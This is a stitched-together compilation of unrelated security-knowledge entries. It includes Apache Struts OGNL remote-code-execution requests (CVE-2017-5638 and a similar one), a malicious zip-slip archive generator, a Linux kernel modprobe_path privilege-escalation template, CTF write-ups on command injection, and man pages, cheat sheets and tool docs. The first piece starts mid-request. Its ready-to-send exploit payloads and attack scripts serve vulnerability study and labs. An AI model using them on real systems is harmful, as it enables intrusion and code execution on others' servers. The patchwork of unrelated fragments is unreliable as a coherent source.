Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
```
可见,`id`命令返回结果将直接显示在页面中:

|
sec-knowleage
|
# S2-045 远程代码执行漏洞(CVE-2017-5638)
影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
漏洞详情:
- http://struts.apache.org/docs/s2-045.html
- https://blog.csdn.net/u011721501/article/details/60768657
- https://paper.seebug.org/247/
## 漏洞环境
执行如下命令启动struts2 2.3.30:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可看到上传页面。
## 漏洞复现
直接发送如下数据包,可见`233*233`已成功执行:
```
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
```

|
sec-knowleage
|
---
title: Curl
date: 2023-01-03 15:18:34
background: bg-slate-600
tags:
- url
- request
categories:
- Linux Command
intro: |
This [Curl](https://github.com/curl/curl) cheat sheet contains commands and examples of some common Curl tricks.
plugins:
- copyCode
---
Getting Started
---------------
### Introduction
`Curl` is a tool for transferring data between servers, supporting protocols, including:
- HTTP
- HTTPS
- FTP
- IMAP
- LDAP
- POP3
- SCP
- SFTP
- SMB
- SMTP
- etc...
{.cols-3 .marker-none}
----------------------------------------------------------------
- [Curl GitHub source repository](https://github.com/curl/curl) _(github.com)_
- [Curl Official Website](https://curl.se/) _(curl.se)_
### Options {.col-span-2 row-span-2}
```bash
-o <file> # --output: write to file
-u user:pass # --user: authentication
```
---
```bash
-v # --verbose: Make curl verbose during operation
-vv # more verbose
-s # --silent: don't show progress meter or errors
-S # --show-error: When used with --silent (-sS), show errors but no progress meter
```
---
```bash
-i # --include: include HTTP headers in the output
-I # --head: header only
```
### Request
```bash
-X POST # --request
-L # If the page redirects, follow the link
-F # --form: HTTP POST data for multipart/form-data
```
<!--rehype:className=wrap-text -->
### data
```bash
# --data: HTTP post data
# URL encoding (eg, status="Hello")
-d 'data'
# --data pass file
-d @file
# --get: send -d data via get
-G
```
### Header information Headers
```bash
-A <str> # --user-agent
-b name=val # --cookie
-b FILE # --cookie
-H "X-Foo: y" # --header
--compressed # use deflate/gzip
```
### SSL
```bash
--cacert <file>
--capath <dir>
```
```bash
-E, --cert <cert> # --cert: client certificate file
--cert-type # der/pem/eng
-k, --insecure # For self-signed certificates
```
#### Install
```bash
apk add --update curl # install in alpine linux
```
Example {.cols-6}
----
<!--rehype:body-class=cols-6-->
### CURL GET/HEAD {.col-span-4 .row-span-2}
command | description
:-| :-
`curl -I https://quickref.me` | `curl` sends a request
`curl -v -I https://quickref.me` | `curl` request with details
`curl -X GET https://quickref.me` | use explicit http method for `curl`
`curl --noproxy 127.0.0.1 http://www.stackoverflow.com` | `curl` without http proxy
`curl --connect-timeout 10 -I -k https://quickref.me` | `curl` has no timeout by default
`curl --verbose --header "Host: www.mytest.com:8182" quickref.me` | `curl` get extra header
`curl -k -v https://www.google.com` | `curl` get response with headers
<!--rehype:class=auto-wrap-->
### Multiple file upload {.col-span-2}
```bash
$ curl -v --include \
--form key1=value1 \
--form upload=@localfilename URL
```
### Prettify json output for curl response {.col-span-2}
```bash
$ curl -XGET http://${elasticsearch_ip}:9200/_cluster/nodes | python -m json.tool
```
<!--rehype:className=wrap-text -->
### CURL POST {.col-span-4}
command | description
:-| :-
`curl -d "name=username&password=123456" <URL>` | `curl` send request
`curl <URL> -H "content-type: application/json" -d "{ \"woof\": \"bark\"}"` | `curl` sends json
<!--rehype:class=auto-wrap-->
### CURL script install rvm {.col-span-2}
```shell
curl -sSL https://get.rvm.io | bash
```
### CURL Advanced {.col-span-6}
command | description
:-| :-
`curl -L -s http://ipecho.net/plain, curl -L -s http://whatismijnip.nl` | get my public `IP`
`curl -u $username:$password http://repo.dennyzhang.com/README.txt` | `curl` with credentials
`curl -v -F key1=value1 -F upload=@localfilename <URL>` | `curl` upload
`curl -k -v --http2 https://www.google.com/` | use http2 curl
`curl -T cryptopp552.zip -u test:test ftp://10.32.99.187/` | curl `ftp` upload
`curl -u test:test ftp://10.32.99.187/cryptopp552.zip -o cryptopp552.zip` | curl `ftp` download
`curl -v -u admin:admin123 --upload-file package1.zip http://mysever:8081/dir/package1.zip` | upload with credentials `curl`
<!--rehype:class=auto-wrap-->
### Check website response time {.col-span-4}
```shell
curl -s -w \
'\nLookup time:\t%{time_namelookup}\nConnect time:\t%{time_connect}\nAppCon time:\t%{time_appconnect}\nRedirect time:\t%{time_redirect}\nPreXfer time:\t%{time_pretransfer }\nStartXfer time:\t%{time_starttransfer}\n\nTotal time:\t%{time_total}\n' \
-o /dev/null https://www.google.com
```
<!--rehype:className=wrap-text -->
### Use Curl to check if a remote resource is available {.col-span-2}
```bash
curl -o /dev/null --silent -Iw "%{http_code}" https://example.com/my.remote.tarball.gz
```
<!--rehype:className=wrap-text -->
### Downloading file {.col-span-3}
```bash
curl https://example.com | \
grep --only-matching 'src="[^"]*.[png]"' | \
cut -d \" -f2 | \
while read i; do curl https://example.com/"${i}" \
-o "${i##*/}"; done
```
Download all PNG files from the site (using GNU grep)
### Download the file, save the file without changing its name {.col-span-3}
```bash
curl --remote-name "https://example.com/linux-distro.iso"
```
rename file
```bash
curl --remote-name "http://example.com/index.html" --output foo.html
```
### continue partial download {.col-span-3}
```bash
curl --remote-name --continue-at -"https://example.com/linux-distro.iso"
```
<!--rehype:className=wrap-text -->
### Download files from multiple domains {.col-span-3}
```bash
curl "https://www.{example,w3,iana}.org/index.html" --output "file_#1.html"
```
<!--rehype:className=wrap-text -->
### Download a series of files {.col-span-3}
```bash
curl "https://{foo,bar}.com/file_[1-4].webp" --output "#1_#2.webp"
```
<!--rehype:className=wrap-text -->
Download a series of files (output `foo_file1.webp`, `foo_file2.webp...bar_file1_webp`, etc.)
### Redirect output to file {.col-span-3}
```bash
$ curl http://url/file > file
```
### Basic Authentication {.col-span-3}
```bash
$ curl --user username:password http://example.com/
$ curl -u username:password http://example.com/
```
### Write to file instead of stdout {.col-span-2}
```bash
$ curl -o file http://url/file
$ curl --output file http://url/file
```
### Download header information
```bash
$ curl -I url
# display header information
```
### Write output to a file named remote_file {.col-span-2}
```bash
$ curl -o file http://url/file
$ curl --output file http://url/file
```
### Execute remote script {.col-span-2}
```bash
$ curl -s http://url/myscript.sh
```
### Configuration file {.col-span-2}
```bash
curl -K file
# read configuration from file
curl --config file
$HOME/.curlrc # default configuration file on UNIX-like systems
```
|
sec-knowleage
|
# Generating "evil" zip file
# Based on the work of Ajin Abraham
# Vuln website : https://github.com/ajinabraham/bad_python_extract
# More info : https://ajinabraham.com/blog/exploiting-insecure-file-extraction-in-python-for-code-execution
# Warning 1: need a restart from the server OR debug=True
# Warning 2: you won't get the output of the command (blind rce)
import zipfile
directories = ["conf", "config", "settings", "utils", "urls", "view", "tests", "scripts", "controllers", "modules", "models", "admin", "login"]
for d in directories:
name = "python-"+d+"-__init__.py.zip"
zipf = zipfile.ZipFile(name, 'w', zipfile.ZIP_DEFLATED)
zipf.close()
z_info = zipfile.ZipInfo(r"../"+d+"/__init__.py")
z_file = zipfile.ZipFile(name, mode="w") # "/home/swissky/Bureau/"+
z_file.writestr(z_info, "import os;print 'Shell';os.system('ls');")
z_info.external_attr = 0o777 << 16
z_file.close()
|
sec-knowleage
|
#Offensive 100 (web, 100p)
## PL
`For eng scroll down`
W tym zadaniu dostajemy stronę z 3 sekcjami:
* Przycisk Sign up
* Przycisk Sign in
* Tabela z logiem logowań
W tym zadaniu trzeba było zauważyć 2 rzeczy:
* Czasami, logując się, zamiast zalogować się na swoje konto zostajemy zalogowani na konto osoby która zalogowała się w tym samym czasie.
* Dokładnie co minutę, loguje się ktoś z id równym 0 (przypuszczamy, że jest to konto na które mamy się dostać)
Łącząc te dwa zjawiska postanawiamy zalogować się na swoje konto dokładnie w zerowej sekundzie.
Nie działa, robimy reload strony iiii...

## ENG
In this task we get a web site with 3 sections:
* Sign up button
* Sign in button
* Accounts logged in log
In order to complete this challange we had to notice 2 things:
* Sometimes, when we log in, instead of logging in to our account we get redirected a account that logged in the same time.
* Exactly every minute, a id=0 login appears in the log. (That probably is the account we have to get into)
Using theese 2 observations we decide to log in to our account at exactly 0 seconds.
When the site loads we're still on our accounts page, we try to reload the site and...

|
sec-knowleage
|
# Sunshine CTF - 2019
Writeups for various challenges from the 2019 [Sunshine CTF](https://2019.sunshinectf.org/challenges).
|
sec-knowleage
|
ssh-agent
===
ssh密钥管理器
## 补充说明
**ssh-agent命令** 是一种控制用来保存公钥身份验证所使用的私钥的程序。ssh-agent在X会话或登录会话之初启动,所有其他窗口或程序则以客户端程序的身份启动并加入到ssh-agent程序中。通过使用环境变量,可定位代理并在登录到其他使用ssh机器上时使用代理自动进行身份验证。
其实ssh-agent就是一个密钥管理器,运行ssh-agent以后,使用ssh-add将私钥交给ssh-agent保管,其他程序需要身份验证的时候可以将验证申请交给ssh-agent来完成整个认证过程。
### 语法
```shell
ssh-agent [-c | -s] [-d] [-a bind_address] [-t life] [command [arg ...]]
ssh-agent [-c | -s] -k
```
### 选项
```shell
-a bind_address:bind the agent to the UNIX-domain socket bind_address.
-c:生成C-shell风格的命令输出。
-d:调试模式。
-k:把ssh-agent进程杀掉。
-s:生成Bourne shell 风格的命令输出。
-t life:设置默认值添加到代理人的身份最大寿命。
```
### 实例
运行ssh-agent:
```shell
ssh-agent
```
运行ssh-agent,它会打印出来它使用的环境和变量。
|
sec-knowleage
|
## Instant debugger
The -r command line switch is used to run the built-in debugger without creating a database in advance. The format is this switch is:
```-rdebname{params}:pass@hostname:port+pid```
The explanation of the fields:
debname Debugger name. Should contain the debugger
module name. Examples: win32, linux. This prefix
can be shortened or even completely
omitted if there is no ambiguity
params Optional parameter for the debugger module
The parameters from the appropriate configuation file
can be specified here, separated by semicolons.
pass Password for the remote debugger server
hostname Host name or address of the remote debugger server
port Port number to use to connect to the debugger server
pid PID of the process to attach
All fields except the first one are optional. See examples below for typical command lines:
```
idaq -rwin32 file args
Run 'file' with command line 'args' in the local debugger
We have to specify the debugger name to avoid ambiguities.
idaq -rwindbg+450
Attach to process 450 on the local machine using the windbg backend
idaq -rl:password@mycom:4567+
Connect to the remote linux computer 'mycom' at port 4567 using the
password 'password' and display the list of processes running on it.
Allow the user to select a process and attach to it.
idaq -rl@mycom /bin/ls e*
Run '/bin/ls' command on the 'mycom' computers using the
remote linux debugger server. Use an empty password and the
default port number. IDA will extract the name of the
executable from the whobase.idb file in the local current
directory. If the database does not exist, then this command
will fail.
idaq "-rwindbg{MODE=1}@com:port=\\.\pipe\com_1,baud=115200,pipe,reconnect+"
Attach using windbg in kernel mode. The connection starting is
"com:port=\\.\pipe\com_1,baud=115200,pipe,reconnect". A mini database
will be created on the fly.
```
When the -r switch is used, IDA works with the databases in the following way:
- if a database corresponding to the input file exists and the -c switch has not been specified, then IDA will use the database during the debugging session
- otherwise, a temporary database will be created
Temporary databases contain only meta-information about the debugged process and not memory contents. The user can make a memory snpshot any time before the process stops. If IDA detects that a command will cause the process to exit or detach IDA, it will purpose to make a snapshot.
The rest of the command line is passed to the launched process.
In the case there is no input file (when attaching to existing process, for example), then the temporary database is created in the standard temporary directory. For Windows, this directory is usually "Local Setting\Temp" in the user profile directory.
|
sec-knowleage
|
## Kiuar (pwn, 200p)
telnet ctf.sharif.edu 12432
###ENG
[PL](#pl-version)
First thing we receive in this task is request for proof of work - so we had to write a quick script calculating it for us.
After submitting it, we receive some non-ASCII bytes and a message telling us we have 10s to reply.
Saving those unknown bytes to file and checking it using `file` command, we find it's a zlib-compressed data: `Send your
QR code:`.
Sending anything afterwards tells us that we need to send exactly 200 bytes - and if we do it, the message tells us that
the input is not properly compressed. Finally, when we send zlib-compressed string "aaa" padded with zeros to 200 bytes,
we receive `Sorry, no decode delegate for this image :|`. Googling this message tells us that it's a generic ImageMagick
error message - apparently we need to send an image. At this point we were prertty certain it has to be zlib-compressed
image file containing QR code. Sending QR with "aaa" text gives us:
```
Processing the received command...
The output of your command is large, I only send 18 bytes of it :P
Sorry, command not
```
So probably our text was executed as a command. Sending QR with `ls` confirms that - there was a `flag` file.
We still had to work around limitation of command size (200 bytes limit for QR image) and output limit of 18 bytes.
Finally, using `tail -c 40 flag` we were able to get the flag chunk by chunk.
###PL version
Pierwsze co dostajemy po połączeniu się z serwerem, to prośba o `proof of work`. Napisaliśmy więc skrypt realizujący ją,
po czym otrzymaliśmy trochę bajtów spoza ASCII i wiadomość, że mamy 10s na odpowiedź.
Po zapisaniu tych nieznanych bajtów do pliku i sprawdzeniu ich poleceniem `file` dowiedzieliśmy się, że to dane
skompresowane zlibem: `Send your QR code:`.
Wysłanie czegokolwiek mówi nam, że należy wysłac maksymalnie 200 bajtów. Po wysłaniu takiej właśnie ilości danych,
dowiadujemy się, że dane nie są poprawnie skompresowane. No to wysyłamy skompresowany zlibem tekst "aaa" z dorzuconymi
bajtami zerowymi na koniec, po czym otrzymujemy wiadomość `Sorry, no decode delegate for this image :|`.
Wygooglanie tego tekstu mówi, że to zwykły błąd ImageMagick - w tym momencie domyśliliśmy się, że należy wysłać
skompresowany obrazek z QR. Wysyłamy więc QR z "aaa":
```
Processing the received command...
The output of your command is large, I only send 18 bytes of it :P
Sorry, command not
```
Tekst jest więc pewnie wykonywany jako komenda. Potwierdziliśmy to wysyłając QR z `ls` - wylistowaliśmy plik `flag`.
Nadal trzeba było obejść ograniczenie wielkości komendy (200 bajtów na obrazek z QR) i na odpowiedź serwera (18
bajtów). Ostatecznie, używając `tail -c 40 flag` udało nam się kawałek po kawałku wyciągnąć flagę.
|
sec-knowleage
|
.\"
.\" exportfs(8)
.\"
.\" Copyright (C) 1995 Olaf Kirch <okir@monad.swb.de>
.\" Modifications 1999-2003 Neil Brown <neilb@cse.unsw.edu.au>
.TH exportfs 8 "18 July 2003"
.SH NAME
exportfs \- 管理NFS共享文件系统列表
.SH "概述 (SYNOPSIS)"
.BI "/usr/sbin/exportfs [-avi] [-o " "options,.." "] [" "client:/path" " ..]
.br
.BI "/usr/sbin/exportfs -r [-v]"
.br
.BI "/usr/sbin/exportfs [-av] -u [" "client:/path" " ..]
.br
.BI "/usr/sbin/exportfs [-v]
.br
.BI "/usr/sbin/exportfs -f"
.br
.SH "描述 (DESCRIPTION)"
.B exportfs
命令用来管理当前NFS共享的文件系统列表。
这个列表保存在一个单独的文件
.BR /var/lib/nfs/xtab
中,当远端主机要求对一个文件系统树加载并访问时由
.B mountd
读取,列表中活动的一部分也保存在在内核共享表中。
.P
通常
.B xtab
在执行
.BR "exportfs -a" .
.P
的时候,根据
.B /etc/exports
中定义的共享列表来初始化。
但是,管理员可以选择添加或删除独立的文件系统,不必修改
.B /etc/exports
,只要执行
.BR exportfs
就可以了。
.P
.B exportfs
和它的合作者
.B mountd
工作在两种模式之一,一种是2.4以及早期的内核采用的传统模式,
另一种是2.6以后内核采用的模式。
2.6之后的内核提供了
.B nfsd
虚拟文件系统,挂载点是
.BR /proc/fs/nfs 。
在2.6内核中如果没有挂载这个系统,将使用传统模式。
.P
在新模式中,
.B exportfs
不为内核提供任何信息,只通过
.B /var/lib/nfs/xtab
文件将信息提供给
.B mountd
。
.B mountd
将等待内核请求,提供需要的信息。
.P
在传统模式中,任何标识了一台特定主机(而不是一个子网或是一个工作组)的
共享请求会直接进入内核共享表,同时写入
.BR /var/lib/nfs/xtab .
甚至于,任何列在
.B /var/lib/nfs/rmtab
中的挂载点,只要它符合一个不指定主机的共享请求,将使得
.B rmtab
给出的主机的一个适当的共享条目进入内核的共享表中。
.SH "选项 (OPTIONS)"
.TP
.B -a
打开或取消所有目录共享。
.TP
.BI "-o " options,...
指定一列共享选项,与
.BR exports(5)
中讲到的类似。
.TP
.B -i
忽略
.B /etc/exports
文件,从而只使用默认的和命令行指定的选项。
.TP
.B -r
重新共享所有目录。它使
/var/lib/nfs/xtab
和
/etc/exports
同步。
它将
/etc/exports
中已删除的条目从
/var/lib/nfs/xtab
中删除,将内核共享表中任何不再有效的条目移除。
.TP
.B -u
取消一个或多个目录的共享。
.TP
.B -f
在“新”模式下,刷新内核共享表之外的任何东西。
任何活动的客户程序将在它们的下次请求中得到
.B mountd
添加的新的共享条目。
.TP
.B -v
输出详细信息。当共享或者取消共享时,显示在做什么。
显示当前共享列表的时候,同时显示共享的选项。
.SH "讨论 (DISCUSSION)"
.\" -------------------- Exporting Directories --------------------
.SS "共享目录 (Exporting Directories)"
第一条概述中显示出如何执行命令来添加新的共享。
当执行
.BR "exportfs -a" 时,
所有
.B exports(5)
中的目录将添加到
.B xtab
并且将结果列表送进内核。
.P
.I host:/path
参数指定了要共享的目录和可以访问它的主机。
所有
.B exports(5)
中定义的格式都可以支持。
想要将一个目录共享给所有其他机器,只要用
.IR :/path
就可以了。
.P
这种指定一个特定主机/目录的共享选项来自于多种来源。
有一系列的默认选项,可以在
.B /etc/exports
中指定它们(除非指定了
.B -i
选项)。
另外,管理员可以使用
.B -o
参数和一系列以逗号分隔的选项来覆盖所有默认选项。
做法就像在
.BR exports(5)
中一样。
因此,
.B exportfs
可以用来修改已经共享的目录的共享选项。
.P
.B nfsd(8)
对内核共享表的修改会在命令行解析和
.B xtab
文件修改之后马上进行。
.P
默认的共享选项是
.BR sync,ro,root_squash,no_delay 。
.\" -------------------- Unexporting Directories ------------------
.SS "取消共享 (Unexporting Directories)"
第三种语法显示了怎样取消一个当前的共享目录。
当执行
.BR "exportfs -ua" ,
的时候,
.B xtab
中的所有条目被从内核共享表中移除,
这个文件会被清空。这样可以迅速停止所有NFS服务。
.P
要取消单独的共享条目,可以指定一个
.I host:/path
参数。这样删除了
.B xtab
中的条目并且移除了对应的内核条目(如果有的话)。
.P
.\" -------------------- Dumping the Export Table -----------------
.SS "获取共享表 (Dumping the Export Table)"
执行不带选项的
.B exportfs
将列出当前的共享列表。当给出
.B -v
选项时,会列出各自的标志。
.\" -------------------- EXAMPLES ---------------------------------
.SH "范例 (EXAMPLES)"
这条命令将所有
.B /etc/exports
中列出的目录加入到
/var/lib/nfs/xtab
中,将结果送入内核:
.P
.nf
.B "# exportfs -a
.fi
.P
如果要将
.B /usr/tmp
目录共享给
.BR djando 主机,
允许匿名写入,应当这样:
.P
.nf
.B "# exportfs -o async django:/usr/tmp
.fi
.\" -------------------- DEPENDENCIES -----------------------------
.SH "依赖性 (DEPENDENCIES)"
提供给IP子网,DNS和NIS域的共享不会使这些工作组中的客户程序马上就能读取NFS;
这种类型的共享其实是向
.B mountd(8)
提供的信息,为来自这些客户的挂载请求授权。
这通常不是一个大问题,因为重启过程中,任何存在的加载都保存在
.B rmtab
中。
.P
当取消一个子网或域的共享时,当前任何提供给这个工作组中的成员的共享
将被检查。如果它们不再有效,它们将被移除。
.P
.\" -------------------- SEE ALSO --------------------------------
.SH "参见 (SEE ALSO)"
.BR exports(5) ", " mountd(8)
.\" -------------------- AUTHOR ----------------------------------
.SH "作者 (AUTHORS)"
Olaf Kirch, <okir@monad.swb.de>
.br
Neil Brown, <neilb@cse.unsw.edu.au>
.SH "[中文版维护人]"
.B 袁乙钧 <bbbush@163.com>
.SH "[中文版最新更新]"
.B 2003.10.26
.SH "《中国linux论坛man手册页翻译计划》:"
.B http://cmpp.linuxforum.net
|
sec-knowleage
|
---
title: Firefox
date: 2022-11-23 16:23:31.703957
background: bg-[#e34e4b]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 116 keyboard shortcuts found in Firefox
---
Keyboard Shortcuts
------------------
### Navigation
Shortcut | Action
---|---
`Ctrl` `Left` | Back
`Ctrl` `Right` | Forward
`Alt` `Home` | Home
`Ctrl` `O` | Open File
`Ctrl` `R` | Reload
`Ctrl` `Shift` `R` | Reload (override cache)
`Ctrl` `.` | Stop
{.shortcuts}
### Current Page
Shortcut | Action
---|---
`Tab` | Focus Next Link or Input Field
`Shift` `Tab` | Focus Previous Link or Input Field
`Space` | Go Down a Screen
`Shift` `Space` | Go Up a Screen
`Ctrl` `Down` | Go to Bottom of Page
`Ctrl` `Up` | Go to Top of Page
`F6` | Move to Next Frame
`Shift` `F6` | Move to Previous Frame
`Ctrl` `P` | Print
`Ctrl` `S` | Save Page As
`Ctrl` `+` | Zoom In
`Ctrl` `-` | Zoom Out
`Ctrl` `0` | Zoom Reset
{.shortcuts}
### Editing
Shortcut | Action
---|---
`Ctrl` `C` | Copy
`Ctrl` `X` | Cut
`Backspace` | Delete
`Home` | Go to Beginning of Line
`End` | Go to End of Line
`Ctrl` `V` | Paste
`Ctrl` `Shift` `V` | Paste (as plain text)
`Ctrl` `Shift` `Z` | Redo
`Ctrl` `A` | Select All
`Ctrl` `Z` | Undo
{.shortcuts}
### Search
Shortcut | Action
---|---
`Ctrl` `F` | Find
`Ctrl` `G` | Find Again
`Ctrl` `Shift` `G` | Find Previous
`'` | Quick Find within link-text only
`/` | Quick Find
`Esc` | Close the Find or Quick Find bar
`Ctrl` `K` | Focus Search bar
`Ctrl` `Up/Down` | Change the Default Search Engine
`Alt` `Up/Down` | View menu to switch, add, or manage search engines
{.shortcuts}
### Windows and Tabs {.row-span-2}
Shortcut | Action
---|---
`Ctrl` `W` | Close Tab
`Ctrl` `Shift` `W` | Close Window
`Ctrl` `Tab` | Cycle through Tabs in Recently Used Order
`Ctrl` `Q` | Quit
`Ctrl` `Alt` `Left` | Go one Tab to the Left
`Ctrl` `Alt` `Right` | Go one Tab to the Right
`Ctrl` `Shift` `PgUp` | Move Tab Left
`Ctrl` `Shift` `PgDown` | Move Tab Right
`Ctrl` `Shift` `Home` | Move Tab in focus to start
`Ctrl` `Shift` `End` | Move Tab in focus to end
`Ctrl` `M` | Mute/Unmute Audio
`Ctrl` `T` | New Tab
`Ctrl` `N` | New Window
`Ctrl` `Shift` `P` | New Private Window
`Alt` `Enter` | Open Address in New Foreground Tab
`Enter` | Open Focused Bookmark or Link in Current Tab
`Ctrl` `Enter` | Open Focused Bookmark in New Foreground Tab
`Ctrl` `Shift` `Enter` | Open Focused Bookmark in New Background Tab
`Ctrl` `Enter` | Open Focused Link in New Background Tab
`Shift` `Enter` | Open Focused Bookmark or Link in New Window
`Ctrl` `Shift` `T` | Undo Close Tab
`Ctrl` `Shift` `N` | Undo Close Window
`Ctrl` `1-8` | Select Tab 1-8
`Ctrl` `9` | Select Last Tab
`Ctrl` `Shift` `X` | Moves the URL left or right
{.shortcuts}
### History
Shortcut | Action
---|---
`Ctrl` `Shift` `H` | History sidebar
`Ctrl` `Shift` `Delete` | Clear Recent History
{.shortcuts}
### Bookmarks
Shortcut | Action
---|---
`Ctrl` `Shift` `D` | Bookmark All Tabs
`Ctrl` `D` | Bookmark This Page
`Ctrl` `B` | Bookmarks sidebar
`Ctrl` `Shift` `S` | Library window (Bookmarks)
`(search field in Library)` `Space` | Search for all Bookmarks
{.shortcuts}
### Tools
Shortcut | Action
---|---
`Ctrl` `J` | Downloads
`Ctrl` `Shift` `A` | Add-ons
`Ctrl` `Alt` `I` | Toggle Developer Tools
`Ctrl` `Alt` `K` | Web Console
`Ctrl` `Alt` `C` | Inspector
`Ctrl` `Alt` `S` | Debugger
`Shift` `F7` | Style Editor
`Shift` `F5` | Profiler
`Ctrl` `Alt` `E` | Network
`Shift` `F2` | Developer Toolbar
`Ctrl` `Alt` `M` | Responsive Design View
`Shift` `F4` | Scratchpad
`Ctrl` `U` | Page Source
`Ctrl` `Shift` `J` | Browser Console
`Ctrl` `I` | Page Info
{.shortcuts}
### PDF Viewer
Shortcut | Action
---|---
`N/J/Right` | Next page
`P/K/Left` | Previous page
`Ctrl` `+` | Zoom in
`Ctrl` `-` | Zoom out
`Ctrl` `0` | Automatic Zoom
`R` | Rotate the document clockwise
`Ctrl` `R` | Rotate counterclockwise
`Ctrl` `Alt` `P` | Switch to Presentation Mode
`S` | Choose Text Selection Tool
`H` | Choose Hand Tool
`Ctrl` `Alt` `G` | Focus the Page Number input box
{.shortcuts}
### Miscellaneous
Shortcut | Action
---|---
`Ctrl` `Enter` | Complete .com address
`Shift` `Enter` | Complete .net address
`Ctrl` `Shift` `Enter` | Complete .org address
`Shift` `Delete` | Delete Selected Autocomplete Entry
`Ctrl` `Shift` `F` | Toggle Full Screen
`Ctrl` `Alt` `R` | Toggle Reader Mode
`F7` | Caret Browsing
`Ctrl` `L` | Select Location Bar
{.shortcuts}
### Media Shortcuts
Shortcut | Action
---|---
`Space` | Toggle Play/Pause
`Down` | Decrease volume
`Up` | Increase volume
`Ctrl` `Down` | Mute audio
`Ctrl` `Up` | Unmute audio
`Left` | Seek back 15 seconds
`Ctrl` `Left` | Seek back 10%
`Right` | Seek forward 15 seconds
`Ctrl` `Right` | Seek forward 10%
`Home` | Seek to the beginning
`End` | Seek to the end
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Firefox](https://support.mozilla.org/en-US/kb/keyboard-shortcuts-perform-firefox-tasks-quickly) _(support.mozilla.org)_
|
sec-knowleage
|
# Hack-a-Sat 4 Quals
### Table of contents
* [Leavenworth Street (The Magician)](leavenworth-street)
* [Hyde Street (The Magician)](hyde-street)
|
sec-knowleage
|
# Change Others
如果我们可以改变特权进程的执行轨迹,也可以实现提权。这里我们从以下角度来考虑如何改变特权进程的执行轨迹。
- 改数据
- 改代码
## 改数据
这里给出几种通过改变特权进程使用的数据来进行提权的方法。
### 符号链接
如果一个 root 权限的进程会执行一个符号链接的程序,并且该符号链接或者符号链接指向的程序可以由攻击者控制,攻击者就可以实现提权。
### call_usermodehelper
`call_usermodehelper` 是一种内核线程执行用户态应用的方式,并且启动的进程具有 root 权限。因此,如果我们能够控制具体要执行的应用,那就可以实现提权。在内核中,`call_usermodehelper` 具体要执行的应用往往是由某个变量指定的,因此我们只需要想办法修改掉这个变量即可。不难看出,这是一种典型的数据流攻击方法。一般常用的主要有以下几种方式。
#### 修改 modprobe_path
修改 modprobe_path 实现提权的基本流程如下
1. 获取 modprobe_path 的地址。
2. 修改 modprobe_path 为指定的程序。
3. 触发执行 `call_modprobe `,从而实现提权 。这里我们可以利用以下几种方式来触发
1. 执行一个非法的可执行文件。非法的可执行文件需要满足相应的要求(参考 call_usermodehelper 部分的介绍)。
2. 使用未知协议来触发。
这里我们也给出使用 modprobe_path 的模板。
```c
// step 1. modify modprobe_path to the target value
// step 2. create related file
system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag\ncat flag' > /home/pwn/catflag.sh");
system("chmod +x /home/pwn/catflag.sh");
// step 3. trigger it using unknown executable
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");
system("/home/pwn/dummy");
// step 3. trigger it using unknown protocol
socket(AF_INET,SOCK_STREAM,132);
```
在这个过程中,我们着重关注下如何定位 modprobe_path。
##### 直接定位
由于 modprobe_path 的取值是确定的,所以我们可以直接扫描内存,寻找对应的字符串。这需要我们具有扫描内存的能力。
##### 间接定位
考虑到 modprobe_path 相对于内核基地址的偏移是固定的,我们可以先获取到内核的基地址,然后根据相对偏移来得到 modprobe_path 的地址。
#### 修改 poweroff_cmd
1. 修改 poweroff_cmd 为指定的程序。
2. 劫持控制流执行 `__orderly_poweroff`。
关于如何定位 poweroff_cmd,我们可以采用类似于定位 `modprobe_path` 的方法。
## 改代码
在程序运行时,如果我们可以修改 root 权限进程执行的代码,那其实我们也可以实现提权。
### 修改 vDSO 代码
内核中 vDSO 的代码会被映射到所有的用户态进程中。如果有一个高特权的进程会周期性地调用 vDSO 中的函数,那我们可以考虑把 vDSO 中相应的函数修改为特定的 shellcode。当高权限的进程执行相应的代码时,我们就可以进行提权。
在早期的时候,Linux 中的 vDSO 是可写的,考虑到这样的风险,Kees Cook 提出引入 `post-init read-only` 的数据,即将那些初始化后不再被写的数据标记为只读,来防御这样的利用。
在引入之前,vDSO 对应的 raw_data 只是标记了对齐属性。
```c
fprintf(outfile, "/* AUTOMATICALLY GENERATED -- DO NOT EDIT */\n\n");
fprintf(outfile, "#include <linux/linkage.h>\n");
fprintf(outfile, "#include <asm/page_types.h>\n");
fprintf(outfile, "#include <asm/vdso.h>\n");
fprintf(outfile, "\n");
fprintf(outfile,
"static unsigned char raw_data[%lu] __page_aligned_data = {",
mapping_size);
```
